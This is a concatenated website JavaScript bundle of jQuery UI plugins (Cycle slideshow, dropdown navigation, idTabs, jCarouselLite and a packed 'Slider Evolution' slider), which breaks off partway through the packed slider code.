var p = opts.$cont[0], timeout = p.cycleTimeout;
if (timeout) {
clearTimeout(timeout);
p.cycleTimeout = 0;
}
if (opts.random && val < 0) {
// move back to the previously display slide
opts.randomIndex--;
if (--opts.randomIndex == -2)
opts.randomIndex = els.length-2;
else if (opts.randomIndex == -1)
opts.randomIndex = els.length-1;
opts.nextSlide = opts.randomMap[opts.randomIndex];
}
else if (opts.random) {
if (++opts.randomIndex == els.length)
opts.randomIndex = 0;
opts.nextSlide = opts.randomMap[opts.randomIndex];
}
else {
opts.nextSlide = opts.currSlide + val;
if (opts.nextSlide < 0) {
if (opts.nowrap) return false;
opts.nextSlide = els.length - 1;
}
else if (opts.nextSlide >= els.length) {
if (opts.nowrap) return false;
opts.nextSlide = 0;
}
}
if ($.isFunction(opts.prevNextClick))
opts.prevNextClick(val > 0, opts.nextSlide, els[opts.nextSlide]);
go(els, opts, 1, val>=0);
return false;
};
function buildPager(els, opts) {
var $p = $(opts.pager);
$.each(els, function(i,o) {
$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);
});
$.fn.cycle.updateActivePagerLink(opts.pager, opts.startingSlide);
};
$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) {
var a = ($.isFunction(opts.pagerAnchorBuilder))
? opts.pagerAnchorBuilder(i,el)
: '<a href="#">'+(i+1)+'</a>';
if (!a)
return;
var $a = $(a);
// don't reparent if anchor is in the dom
if ($a.parents('body').length == 0) {
var arr = [];
if ($p.length > 1) {
$p.each(function() {
var $clone = $a.clone(true);
$(this).append($clone);
arr.push($clone);
});
$a = $(arr);
}
else {
$a.appendTo($p);
}
}
$a.bind(opts.pagerEvent, function() {
opts.nextSlide = i;
var p = opts.$cont[0], timeout = p.cycleTimeout;
if (timeout) {
clearTimeout(timeout);
p.cycleTimeout = 0;
}
if ($.isFunction(opts.pagerClick))
opts.pagerClick(opts.nextSlide, els[opts.nextSlide]);
go(els,opts,1,opts.currSlide < i); // trigger the trans
return false;
});
if (opts.pauseOnPagerHover)
$a.hover(function() { opts.$cont[0].cyclePause++; }, function() { opts.$cont[0].cyclePause--; } );
};
// helper fn to calculate the number of slides between the current and the next
$.fn.cycle.hopsFromLast = function(opts, fwd) {
var hops, l = opts.lastSlide, c = opts.currSlide;
if (fwd)
hops = c > l ? c - l : opts.slideCount - l;
else
hops = c < l ? l - c : l + opts.slideCount - c;
return hops;
};
// fix clearType problems in ie6 by setting an explicit bg color
// (otherwise text slides look horrible during a fade transition)
function clearTypeFix($slides) {
function hex(s) {
s = parseInt(s).toString(16);
return s.length < 2 ? '0'+s : s;
};
function getBg(e) {
for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) {
var v = $.css(e,'background-color');
if (v.indexOf('rgb') >= 0 ) {
var rgb = v.match(/\d+/g);
return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]);
}
if (v && v != 'transparent')
return v;
}
return '#ffffff';
};
$slides.each(function() { $(this).css('background-color', getBg(this)); });
};
// reset common props before the next transition
$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) {
$(opts.elements).not(curr).hide();
opts.cssBefore.opacity = 1;
opts.cssBefore.display = 'block';
if (w !== false && next.cycleW > 0)
opts.cssBefore.width = next.cycleW;
if (h !== false && next.cycleH > 0)
opts.cssBefore.height = next.cycleH;
opts.cssAfter = opts.cssAfter || {};
opts.cssAfter.display = 'none';
$(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0));
$(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1));
};
// the actual fn for effecting a transition
$.fn.cycle.custom = function(curr, next, opts, cb, speedOverride) {
var $l = $(curr), $n = $(next);
var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut;
$n.css(opts.cssBefore);
if (speedOverride) {
if (typeof speedOverride == 'number')
speedIn = speedOut = speedOverride;
else
speedIn = speedOut = 1;
easeIn = easeOut = null;
}
var fn = function() {$n.animate(opts.animIn, speedIn, easeIn, cb)};
$l.animate(opts.animOut, speedOut, easeOut, function() {
if (opts.cssAfter) $l.css(opts.cssAfter);
if (!opts.sync) fn();
});
if (opts.sync) fn();
};
// transition definitions - only fade is defined here, transition pack defines the rest
$.fn.cycle.transitions = {
fade: function($cont, $slides, opts) {
$slides.not(':eq('+opts.currSlide+')').css('opacity',0);
opts.before.push(function(curr,next,opts) {
$.fn.cycle.commonReset(curr,next,opts);
opts.cssBefore.opacity = 0;
});
opts.animIn = { opacity: 1 };
opts.animOut = { opacity: 0 };
opts.cssBefore = { top: 0, left: 0 };
}
};
$.fn.cycle.ver = function() { return ver; };
// override these globally if you like (they are all optional)
$.fn.cycle.defaults = {
fx: 'fade', // name of transition effect (or comma separated names, ex: fade,scrollUp,shuffle)
timeout: 4000, // milliseconds between slide transitions (0 to disable auto advance)
timeoutFn: null, // callback for determining per-slide timeout value: function(currSlideElement, nextSlideElement, options, forwardFlag)
continuous: 0, // true to start next transition immediately after current one completes
speed: 1000, // speed of the transition (any valid fx speed value)
speedIn: null, // speed of the 'in' transition
speedOut: null, // speed of the 'out' transition
next: null, // selector for element to use as click trigger for next slide
prev: null, // selector for element to use as click trigger for previous slide
prevNextClick: null, // callback fn for prev/next clicks: function(isNext, zeroBasedSlideIndex, slideElement)
pager: null, // selector for element to use as pager container
pagerClick: null, // callback fn for pager clicks: function(zeroBasedSlideIndex, slideElement)
pagerEvent: 'click', // name of event which drives the pager navigation
pagerAnchorBuilder: null, // callback fn for building anchor links: function(index, DOMelement)
before: null, // transition callback (scope set to element to be shown): function(currSlideElement, nextSlideElement, options, forwardFlag)
after: null, // transition callback (scope set to element that was shown): function(currSlideElement, nextSlideElement, options, forwardFlag)
end: null, // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options)
easing: null, // easing method for both in and out transitions
easeIn: null, // easing for "in" transition
easeOut: null, // easing for "out" transition
shuffle: null, // coords for shuffle animation, ex: { top:15, left: 200 }
animIn: null, // properties that define how the slide animates in
animOut: null, // properties that define how the slide animates out
cssBefore: null, // properties that define the initial state of the slide before transitioning in
cssAfter: null, // properties that defined the state of the slide after transitioning out
fxFn: null, // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag)
height: 'auto', // container height
startingSlide: 0, // zero-based index of the first slide to be displayed
sync: 1, // true if in/out transitions should occur simultaneously
random: 0, // true for random, false for sequence (not applicable to shuffle fx)
fit: 0, // force slides to fit container
containerResize: 1, // resize container to fit largest slide
pause: 0, // true to enable "pause on hover"
pauseOnPagerHover: 0, // true to pause when hovering over pager link
autostop: 0, // true to end slideshow after X transitions (where X == slide count)
autostopCount: 0, // number of transitions (optionally used with autostop to define X)
delay: 0, // additional delay (in ms) for first transition (hint: can be negative)
slideExpr: null, // expression for selecting slides (if something other than all children is required)
cleartype: !$.support.opacity, // true if clearType corrections should be applied (for IE)
nowrap: 0, // true to prevent slideshow from wrapping
fastOnEvent: 0, // force fast transitions when triggered manually (via pager or prev/next); value == time in ms
randomizeEffects: 1, // valid when multiple effects are used; true to make the effect sequence random
rev: 0, // causes animations to transition in reverse
manualTrump: true, // causes manual transition to stop an active transition instead of being ignored
requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded
requeueTimeout: 250 // ms delay for requeue
};
})(jQuery);
//navigation
$(document).ready(function() {
var submenu_showing = null;
$('.nav_main_item').each(function() {
$('a', this).mouseover(function() {
$(this).siblings('ul.nav_sub:hidden').slideDown('fast');
})
$(this).hover(function() {
},
function() {
$('ul.nav_sub:visible', this)
.slideUp('fast');
})
});
$(function() {
});
$('select').each(function() {
var select = $(this);
select.data('width', select.outerWidth());
select.data('open', false);
var opening = false;
select.mousedown(function(){
if($.browser.msie) {
var self = $(this);
if (!self.data('open')) {
self.css({"width":"auto", position:'absolute'});
if (self.width() < parseInt(self.css('min-width').replace('px', '')) ) {
self.css({"width":self.data('width'), position:''});
}
opening = true;
}
}
});
select.bind('click blur select', function(){
if ($.browser.msie) {
var self = $(this);
if (opening) {
opening = false;
self.data('open', true);
} else {
if ( self.data('open') ) {
self.css({"width":self.data('width'), position:''});
self.data('open', false);
}
}
}
});
});
});
//jquery tabs
(function(){var dep={"jQuery":"http://code.jquery.com/jquery-latest.min.js"};var init=function(){(function($){$.fn.idTabs=function(){var s={};for(var i=0;i<arguments.length;++i){var a=arguments[i];switch(a.constructor){case Object:$.extend(s,a);break;case Boolean:s.change=a;break;case Number:s.start=a;break;case Function:s.click=a;break;case String:if(a.charAt(0)=='.')s.selected=a;else if(a.charAt(0)=='!')s.event=a;else s.start=a;break;}}
if(typeof s['return']=="function")
s.change=s['return'];return this.each(function(){$.idTabs(this,s);});}
$.idTabs=function(tabs,options){var meta=($.metadata)?$(tabs).metadata():{};var s=$.extend({},$.idTabs.settings,meta,options);if(s.selected.charAt(0)=='.')s.selected=s.selected.substr(1);if(s.event.charAt(0)=='!')s.event=s.event.substr(1);if(s.start==null)s.start=-1;var showId=function(){if($(this).is('.'+s.selected))
return s.change;var id="#"+this.href.split('#')[1];var aList=[];var idList=[];$("a",tabs).each(function(){if(this.href.match(/#/)){aList.push(this);idList.push("#"+this.href.split('#')[1]);}});if(s.click&&!s.click.apply(this,[id,idList,tabs,s]))return s.change;for(i in aList)$(aList[i]).removeClass(s.selected);for(i in idList)$(idList[i]).hide();$(this).addClass(s.selected);$(id).show();return s.change;}
var list=$("a[href*='#']",tabs).unbind(s.event,showId).bind(s.event,showId);list.each(function(){$("#"+this.href.split('#')[1]).hide();});var test=false;if((test=list.filter('.'+s.selected)).length);else if(typeof s.start=="number"&&(test=list.eq(s.start)).length);else if(typeof s.start=="string"&&(test=list.filter("[href*='#"+s.start+"']")).length);if(test){test.removeClass(s.selected);test.trigger(s.event);}
return s;}
$.idTabs.settings={start:0,change:false,click:null,selected:".selected",event:"!click"};$.idTabs.version="2.2";$(function(){$(".tabs").idTabs();});})(jQuery);}
var check=function(o,s){s=s.split('.');while(o&&s.length)o=o[s.shift()];return o;}
var head=document.getElementsByTagName("head")[0];var add=function(url){var s=document.createElement("script");s.type="text/javascript";s.src=url;head.appendChild(s);}
var s=document.getElementsByTagName('script');var src=s[s.length-1].src;var ok=true;for(d in dep){if(check(this,d))continue;ok=false;add(dep[d]);}if(ok)return init();add(src);})();
(function($){$.fn.jCarouselLite=function(o){o=$.extend({btnPrev:null,btnNext:null,btnGo:null,mouseWheel:false,auto:null,speed:200,easing:null,vertical:false,circular:true,visible:5,start:0,scroll:1,beforeStart:null,afterEnd:null},o||{});return this.each(function(){var b=false,animCss=o.vertical?"top":"left",sizeCss=o.vertical?"height":"width";var c=$(this),ul=$("ul",c),tLi=$("li",ul),tl=tLi.size(),v=o.visible;if(o.circular){ul.prepend(tLi.slice(tl-v-1+1).clone()).append(tLi.slice(0,v).clone());o.start+=v}var f=$("li",ul),itemLength=f.size(),curr=o.start;c.css("visibility","visible");f.css({overflow:"hidden",display:"block"});ul.css({margin:"0",padding:"0",position:"relative","z-index":"1"});c.css({overflow:"hidden",position:"relative","z-index":"2",left:"0px"});var g=o.vertical?height(f):width(f);var h=g*itemLength;var j=g*v;f.css({width:f.width(),height:f.height()});ul.css(sizeCss,h+"px").css(animCss,-(curr*g));c.css(sizeCss,j+"px");if(o.btnPrev)$(o.btnPrev).click(function(){return go(curr-o.scroll)});if(o.btnNext)$(o.btnNext).click(function(){return go(curr+o.scroll)});if(o.btnGo)$.each(o.btnGo,function(i,a){$(a).click(function(){return go(o.circular?o.visible+i:i)})});if(o.mouseWheel&&c.mousewheel)c.mousewheel(function(e,d){return d>0?go(curr-o.scroll):go(curr+o.scroll)});if(o.auto)setInterval(function(){go(curr+o.scroll)},o.auto+o.speed);function vis(){return f.slice(curr).slice(0,v)};function go(a){if(!b){if(o.beforeStart)o.beforeStart.call(this,vis());if(o.circular){if(a<=o.start-v-1){ul.css(animCss,-((itemLength-(v*2))*g)+"px");curr=a==o.start-v-1?itemLength-(v*2)-1:itemLength-(v*2)-o.scroll}else if(a>=itemLength-v+1){ul.css(animCss,-((v)*g)+"px");curr=a==itemLength-v+1?v+1:v+o.scroll}else curr=a}else{if(a<0||a>itemLength-v)return;else curr=a}b=true;ul.animate(animCss=="left"?{left:-(curr*g)}:{top:-(curr*g)},o.speed,o.easing,function(){if(o.afterEnd)o.afterEnd.call(this,vis());b=false});if(!o.circular){$(o.btnPrev+","+o.btnNext).removeClass("disabled");$((curr-o.scroll<0&&o.btnPrev)||(curr+o.scroll>itemLength-v&&o.btnNext)||[]).addClass("disabled")}}return false}})};function css(a,b){return parseInt($.css(a[0],b))||0};function width(a){return a[0].offsetWidth+css(a,'marginLeft')+css(a,'marginRight')};function height(a){return a[0].offsetHeight+css(a,'marginTop')+css(a,'marginBottom')}})(jQuery);
/*!
* jQuery Slider Evolution - for jQuery 1.3+
* http://codecanyon.net/item/jquery-slider-evolution/270714?ref=aeroalquimia
*
* Copyright 2011, Eduardo Daniel Sada
* http://codecanyon.net/wiki/buying/howto-buying/licensing/
*
* Version: 1.2.2 (04 Feb 2012)
*
* Includes jQuery Easing v1.3
* http://gsgd.co.uk/sandbox/jquery/easing/
* Copyright (c) 2008 George McGinley Smith
* jQuery Easing released under the BSD License.
*/
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(B($){A u=($.1T.2l&&1f($.1T.28,10)<7&&1f($.1T.28,10)>4);y(u){3f{3g.3h("3i",Y,R)}3j(3k){}};y($.19===2D){$.1p({19:B(a,b){y(a){19=B(){M a.3l(b||5,3m)}};M 19}})};$.1p($.29,{2E:B(x,t,b,c,d){M c*((t=t/d-1)*t*t+1)+b}});2m=B(a,b){5.2F(a,b)};$.1p(2m.3n,{28:"1.2.2",2F:B(a,b){5.2G={w:\'2H-2n\',1l:R,J:R,S:R,11:R,2o:R,2p:R,2I:R,2q:R,13:3o,14:3p,1C:9,1h:7,1i:3,1u:3q,1D:8,29:"2E",1q:\'1v\',3r:B(){},3s:B(){}};5.v={};5.2r=[\'3t\',\'3u\',\'18\',\'3v\',\'2a\',\'1K\'];5.3w={};5.2J=[];5.3x=[];5.3y=[];5.3z=0;5.3A=0;5.3B=0;5.3C=[];5.1E=0;5.1F=[];5.F=0;5.1w=0;5.S=0;5.3D=[];5.C={1U:[],1l:[],S:[],J:[],11:[],T:[]};5.N={3E:Y,1r:Y,1a:Y,1V:Y,1L:Y};5.K=$(a);A c=5.v;A d=5;A e=5.K.17("12");y(e.1M<2){M Y}y(!b[\'D\']){b[\'D\']=0;b[\'H\']=0;A f={};e.17().1G(B(){y($(5).2K("2J")){f[\'D\']=$(5).2L();f[\'H\']=$(5).3F();b[\'D\']=(f[\'D\']>=b[\'D\'])?f[\'D\']:0;b[\'H\']=(f[\'H\']>=b[\'H\'])?f[\'H\']:0}});2s f;y(b[\'D\']==0||b[\'H\']==0){2s b[\'D\'];2s b[\'H\']}}5.v=$.1p(R,5.2G,b);A g=5.v.w+\'-3G\';$.1G([\'1l\',\'J\',\'11\',\'S\'],B(i,s){y(d.v[s]){g+=\'-\'+s}});5.C.1U=5.K.3H(\'<12 1b="\'+5.v.w+\'-1U \'+g+\'" />\').3I();5.C.1U.E({\'D\':5.v.D,\'H\':5.v.H});5.K.E({\'D\':5.v.D,\'H\':5.v.H,\'1W\':\'1X\',\'1c\':\'3J\'});e.1G(B(i){y(i==0){$(5).U(d.v.w+\'-P-L\')}$(5).U(d.v.w+\'-P\');$(5).U(d.v.w+\'-P-\'+(i+1));d.1F=$(d.1F).3K($(\'<a 2b="#" 1b="\'+d.v.w+\'-J" 1N="\'+(i+1)+\'"><1m 1b="\'+d.v.w+\'-J-1m \'+d.v.w+\'-J-\'+(i+1)+\'"><1m>\'+(i+1)+\'</1m></1m></a>\'));y(i==0){$(d.1F).U(d.v.w+\'-J-L\')}});5.C.J=$(\'<12 1b="\'+5.v.w+\'-3L" />\').2c(a);5.C.J.1j(5.1F);y(!5.v.J){5.C.J.3M()}W{y(5.2t(5.C.J.E("2M"))=="#2u"){A h=$(\'.\'+5.v.w+\'-J\').2L(R);h=-((h*e.1M)/2);5.C.J.E({"3N-G":h})}}y(5.v.1l){5.C.1l=$(\'<12 1b="\'+5.v.w+\'-1l" />\').2c(a);A j=$(\'<a 2b="#" 1b="\'+5.v.w+\'-1l-2v" 1N="-1"><1m>3O</1m></a>\');A k=$(\'<a 2b="#" 1b="\'+5.v.w+\'-1l-1n" 1N="+1"><1m>3P</1m></a>\');5.C.1l.1j(j,k)}y(5.v.11){5.C.11=$(\'<a 2b="#" 1b="\'+5.v.w+\'-11 \'+5.v.w+\'-11-2d"><1m>3Q/3R</1m></a>\').2c(a)}y(5.v.S){5.C.S=$(\'<12 1b="\'+5.v.w+\'-S"></12>\').2c(a);5.C.T.1s=$(\'<12 1b="\'+5.v.w+\'-S-1s"></12>\');5.C.T.1g=$(\'<12 1b="\'+5.v.w+\'-S-1g"></12>\');5.C.T.18=$(\'<12 1b="\'+5.v.w+\'-S-18"></12>\');5.C.T.1Y=5.2t(5.C.S.E("2M"));5.C.S.1j(5.C.T.1s.1j(5.C.T.1g),5.C.T.18)}5.2N();y(5.v.2q){5.1H()}W{5.1O()}},2N:B(){A c=5;A d=5.C.1U;A e=5.v;d.3S(B(){d.U(e.w+\'-1r\');y(e.2p&&!c.N.1V){c.N.1r=R;c.2O()}},B(){d.X(e.w+\'-1r\');y(e.2p&&c.N.1r){c.1H()}c.N.1r=Y});5.C.J.17("a").2w(B(a){y(c.N.1a==Y){y($(5).2P(e.w+\'-J-L\')==Y){A b=c.N.1L;c.1O();c.1P($(5).2e(\'1N\'));y(!e.2o&&!b){c.1H()}}}a.2x()});y(e.1l){5.C.1l.17("a").2w(B(a){y(c.N.1a==Y){A b=c.N.1L;c.1O();c.1P($(5).2e("1N"));y(!e.2o&&!b){c.1H()}}a.2x()})};y(e.11){5.C.11.2w($.19(B(a){y(5.N.1L){5.1H()}W{5.1O()}5.N.1r=Y;a.2x()},5))}},1H:B(){y(5.v.S){y(5.C.T.1Y=="#2Q"){5.C.T.18.Z({"D":"1Q%"},(5.1E>0?5.1E:5.v.13),"3T",$.19(B(){5.1P("+1");5.1E=0;5.C.T.18.E({"D":0});5.1H()},5))}W y(5.C.T.1Y="#2u"){5.S=2R($.19(B(){A a="2S("+5.1w+"2T)";5.1w+=2;5.C.T.1g.E({"-2U-1x":a,"-2V-1x":a,"-o-1x":a,"1x":a});y(1Z.1T.2l){5.C.T.1g.2W(0).1R[\'2X\']=a}y(5.1w>2Y){5.C.T.1g.U(5.v.w+\'-S-1g-1S\');5.C.T.1s.U(5.v.w+\'-S-1s-1S\')}y(5.1w>3U){5.C.T.1g.X(5.v.w+\'-S-1g-1S\');5.C.T.1s.X(5.v.w+\'-S-1s-1S\');5.1w=0;5.1P("+1");5.1E=0}},5),5.v.13/2Y)}}W{y(!5.S){5.S=2R($.19(B(){5.1P("+1")},5),5.v.13)}}y(5.v.11){5.C.11.X(5.v.w+\'-11-2y\');5.C.11.U(5.v.w+\'-11-2d\')}5.N.1V=Y;5.N.1L=Y;5.K.1o("3V");M 5},2O:B(){2Z(5.S);5.S="";y(5.v.S){5.C.T.18.1y(R);A a=1Q-(1f(5.C.T.18.D(),10)*1Q/5.v.D);5.1E=5.v.13*a/1Q}5.N.1V=R;y(5.v.11&&!5.N.1r){5.C.11.X(5.v.w+\'-11-2d\');5.C.11.U(5.v.w+\'-11-2y\')}5.K.1o("3W");M 5},1O:B(){2Z(5.S);5.S="";y(5.v.S){5.C.T.18.1y();5.1E=0;y(5.C.T.1Y=="#2Q"){5.C.T.18.E({"D":0})}W y(5.C.T.1Y=="#2u"){5.C.T.1g.X(5.v.w+\'-S-1g-1S\');5.C.T.1s.X(5.v.w+\'-S-1s-1S\');5.1w=0;A a="2S("+5.1w+"2T)";5.C.T.1g.E({"-2U-1x":a,"-2V-1x":a,"-o-1x":a,"1x":a});y(1Z.1T.2l){5.C.T.1g.2W(0).1R[\'2X\']=a}}}5.N.1V=R;5.N.1L=R;5.N.1r=Y;y(5.v.11){5.C.11.X(5.v.w+\'-11-2d\');5.C.11.U(5.v.w+\'-11-2y\')}5.K.1o("3X");M 5},2f:B(a){1d(A j,x,i=a.1M;i;j=1f(1I.1v()*i,10),x=a[--i],a[i]=a[j],a[j]=x){}M a},2t:B(b){y(b.3Y(/^#[0-3Z-40-f]{6}$/)){M b.2g()}A c=/41\\((.+),(.+),(.+)\\)/i.42(b);y(!c){M b.2g()}A d=1f(c[1]);A e=1f(c[2]);A f=1f(c[3]);A g=B(a){M((a.1M<2?\'0\':\'\')+a).2g()};M(\'#\'+g(d.2z(16))+g(e.2z(16))+g(f.2z(16))).2g()},1P:B(a){y(5.N.1a){M Y}A b=5.K.17("."+5.v.w+\'-P-L\');A c=5.C.J.17("."+5.v.w+\'-J-L\');A d={};y(a=="+1"){A e=b.1n("."+5.v.w+\'-P\');A f=c.1n();d={"F":"G"};y(e.1M<=0){y(5.v.2I){e=5.K.17("."+5.v.w+\'-P:30\');f=5.1F.31("a:30")}W{5.1O();M Y}}}W y(a=="-1"){A e=b.2v("."+5.v.w+\'-P\');A f=c.2v("a");d={"F":"1t"};y(e.1M<=0){e=5.K.17("."+5.v.w+\'-P:32\');f=5.1F.31("a:32")}}W{A e=5.K.17("."+5.v.w+\'-P-\'+a);A f=5.C.J.17("."+5.v.w+\'-J[1N=\'+a+\']\')}y(f.2P(5.v.w+\'-J-L\')==Y){5.K.1o("43",e);5.1q(b,c,e,f,d)}M 5},1q:B(a,b,c,d,e){y(44 5.v.1q===\'45\'&&5.v.1q){5.v.1q=$.46([],5.v.1q);5.2r=5.v.1q;5.v.1q="1v"}y(c.2e(\'1b\')===2D||!(1z=c.2e(\'1b\').33(" ")[0].33(5.v.w+"-34-")[1])){1z=5.v.1q}y(1z===\'1v\'){A f=\'\';47(f==5.35||f==\'\'){f=5.2f(5.2r)[0].36()}1z=f}1z=1z.36();5.35=1z;5["34"+1z](a,b,c,d,e);M 5},48:B(a,b,c,d){5.N.1a=R;c.E({"Q":1}).U(5.v.w+\'-P-1n\');b.X(5.v.w+\'-J-L\');d.U(5.v.w+\'-J-L\');a.1y().Z({"Q":0},5.v.14,$.19(B(){a.X(5.v.w+\'-P-L\');c.U(5.v.w+\'-P-L\');c.X(5.v.w+\'-P-1n\');5.K.1o("1J",c);5.N.1a=Y},5))},20:B(b,d,e,f,g){g=$.1p(R,{\'F\':\'G\'},g);5.N.1a=R;A h={\'D\':1I.21(5.v.D/5.v.1C),\'H\':5.v.H};22=37 49(5.v.1C);y(g[\'F\']=="G"){c=0;1d(i=5.v.1C;i>0;i--){22[c]=i;c++}}W y(g[\'F\']=="1t"){1d(i=0;i<=5.v.1C;i++){22[i+1]=i+1}}W y(g[\'F\']=="2a"||g[\'F\']=="1K"){A j=1;A k=1f(5.v.1C/2);1d(i=0;i<=5.v.1C;i++){22[i-1]=(k-(1f((i)/2)*j))+1;j*=-1}}$.1G(22,$.19(B(i,a){1c=1I.4a((a*h.D)-h.D);18=$(\'<12 1b="\'+5.v.w+\'-18 \'+5.v.w+\'-18-\'+a+\'"/>\');18.E({\'1c\':\'1A\',\'1W\':\'1X\',\'G\':1c,\'z-2h\':3,\'Q\':0,\'2i-1c\':\'-\'+1c+\'15 4b\'}).E(h);y(g[\'F\']=="2a"){18.E({\'V\':5.v.H})}W y(g[\'F\']=="1K"){18.E({\'V\':-5.v.H})}18.1j(\'<12 1R="1c: 1A; G: -\'+1c+\'15; D: \'+5.v.D+\'15; H: \'+5.v.H+\'15;">\'+e.2j()+\'</12>\');5.K.1j(18);13=5.v.1u*i;18.Z({\'Q\':0},13).Z({\'Q\':1,\'V\':0},{14:5.v.14})},5));d.X(5.v.w+\'-J-L\');f.U(5.v.w+\'-J-L\');2A($.19(B(){e.E({"Q":1}).U(5.v.w+\'-P-L\');b.E({"Q":0}).X(5.v.w+\'-P-L\');5.K.17("."+5.v.w+\'-18\').2k();5.N.1a=Y;5.K.1o("1J",e)},5),13+5.v.14)},4c:B(a,b,c,d){M 5.20(a,b,c,d,{"F":"G"})},4d:B(a,b,c,d){M 5.20(a,b,c,d,{"F":"1t"})},38:B(b,c,d,e,f){f=$.1p(R,{\'23\':\'2B\',\'1B\':\'1K\'},f);5.N.1a=R;d.E({"Q":1});c.X(5.v.w+\'-J-L\');e.U(5.v.w+\'-J-L\');A g=1I.21(5.v.D/5.v.1h);A h=1I.21(5.v.H/5.v.1i);A j=[];A k=d.2j();1d(I=1;I<=5.v.1i;I++){1d(O=1;O<=5.v.1h;O++){j.39(O+\'\'+I);A l=((I*h)-h);A m=((O*g)-g);A n=(g*O)-g;A o=(h*I)-h;A p=$(\'<12 1b="\'+5.v.w+\'-1e \'+5.v.w+\'-1e-\'+O+I+\'" />\');p.E({\'1W\':\'1X\',\'1c\':\'1A\',\'D\':g,\'H\':h,\'z-2h\':3,\'V\':l,\'G\':m,\'Q\':0,\'2i-1c\':\'-\'+n+\'15 -\'+o+\'15\'});p.1j(\'<12 1R="1c: 1A; G: -\'+n+\'15; V: -\'+o+\'15; D: \'+5.v.D+\'15; H: \'+5.v.H+\'15;">\'+k+\'</12>\');5.K.1j(p)}}y(f[\'1B\']==\'1v\'){j=5.2f(j)}W y(f[\'1B\']==\'3a\'){j=5.3b(j)}y(f[\'23\']==\'2B\'){A q=0;1d(I=1;I<=5.v.1i;I++){1k=I;1d(O=1;O<=5.v.1h;O++){13=5.v.1u*1k;5.K.17(\'.\'+5.v.w+\'-1e-\'+j[q]).Z({\'D\':g},13).Z({\'Q\':1},5.v.14);q++;1k++}}}W y(f[\'23\']==\'4e\'){$.1G(j,$.19(B(i,a){13=5.v.1u*i;5.K.17(\'.\'+5.v.w+\'-1e-\'+a).Z({\'D\':g},13).Z({\'Q\':1},5.v.14)},5))}W y(f[\'23\']==\'4f\'){$.1G(j,$.19(B(i,a){13=5.v.1u*i;5.K.17(\'.\'+5.v.w+\'-1e-\'+a).Z({\'D\':g},13).Z({\'Q\':1},5.v.14)},5))}2A($.19(B(){d.E({"Q":1}).U(5.v.w+\'-P-L\');b.E({"Q":0}).X(5.v.w+\'-P-L\');5.K.17("."+5.v.w+\'-1e\').2k();5.N.1a=Y;5.K.1o("1J",d)},5),13+5.v.14)},4g:B(a,b,c,d){M 5.38(a,b,c,d,{\'1B\':\'1v\'})},24:B(a,b,c,d,e){e=$.1p(R,{\'F\':\'G\'},e);5.N.1a=R;c.E({"Q":1});b.X(5.v.w+\'-J-L\');d.U(5.v.w+\'-J-L\');a.X(5.v.w+\'-P-L\');a.U(5.v.w+\'-P-1n\');c.U(5.v.w+\'-P-L\');y(e.F=="G"){c.E({"G":5.v.D})}W y(e.F=="1t"){c.E({"G":-5.v.D})}W y(e.F=="V"){c.E({"V":-5.v.H})}W y(e.F=="25"){c.E({"V":5.v.H})}c.1y().Z({"G":0,"V":0},5.v.14,5.v.29,$.19(B(){a.X(5.v.w+\'-P-1n\');a.E({"Q":0});5.N.1a=Y;5.K.1o("1J",c)},5))},4h:B(a,b,c,d){M 5.24(a,b,c,d,{\'F\':\'G\'})},4i:B(a,b,c,d){M 5.24(a,b,c,d,{\'F\':\'1t\'})},4j:B(a,b,c,d){M 5.24(a,b,c,d,{\'F\':\'V\'})},4k:B(a,b,c,d){M 5.24(a,b,c,d,{\'F\':\'25\'})},4l:B(a,b,c,d){M 5.20(a,b,c,d,{\'F\':\'2a\'})},4m:B(a,b,c,d){M 5.20(a,b,c,d,{\'F\':\'1K\'})},3c:B(a,b,c,d,e){e=$.1p(R,{\'23\':\'2B\',\'1B\':\'1K\'},e);5.N.1a=R;c.E({"Q":0});b.X(5.v.w+\'-J-L\');d.U(5.v.w+\'-J-L\');A f=1I.21(5.v.D/5.v.1h);A g=1I.21(5.v.H/5.v.1i);A h=[];A i=c.2j();1d(I=1;I<=5.v.1i;I++){1d(O=1;O<=5.v.1h;O++){h.39(O+\'\'+I);A j=((I*g)-g);A k=((O*f)-f);A l=(f*O)-f;A m=(g*I)-g;A n=(O-1f((5.v.1h+1)/2))*5.v.1D;A o=(I-1f((5.v.1i+1)/2))*5.v.1D;A p=$(\'<12 1b="\'+5.v.w+\'-1e-26 \'+5.v.w+\'-1e-26-\'+O+I+\'" />\');p.E({\'1W\':\'1X\',\'1c\':\'1A\',\'D\':f,\'H\':g,\'z-2h\':2,\'V\':j+o,\'G\':k+n,\'Q\':0,\'2i-1c\':\'-\'+l+\'15 -\'+m+\'15\'});p.1j(\'<12 1R="1c: 1A; G: -\'+l+\'15; V: -\'+m+\'15; D: \'+5.v.D+\'15; H: \'+5.v.H+\'15;">\'+i+\'</12>\');5.K.1j(p);A p=$(\'<12 1b="\'+5.v.w+\'-1e \'+5.v.w+\'-1e-\'+O+I+\'" />\');p.E({\'1W\':\'1X\',\'1c\':\'1A\',\'D\':f,\'H\':g,\'z-2h\':3,\'V\':j,\'G\':k,\'Q\':1,\'2i-1c\':\'-\'+l+\'15 -\'+m+\'15\'});p.1j(\'<12 1R="1c: 1A; G: -\'+l+\'15; V: -\'+m+\'15; D: \'+5.v.D+\'15; H: \'+5.v.H+\'15;">\'+a.2j()+\'</12>\');5.K.1j(p)}}a.E({"Q":0});y(e[\'1B\']==\'1v\'){h=5.2f(h)}W 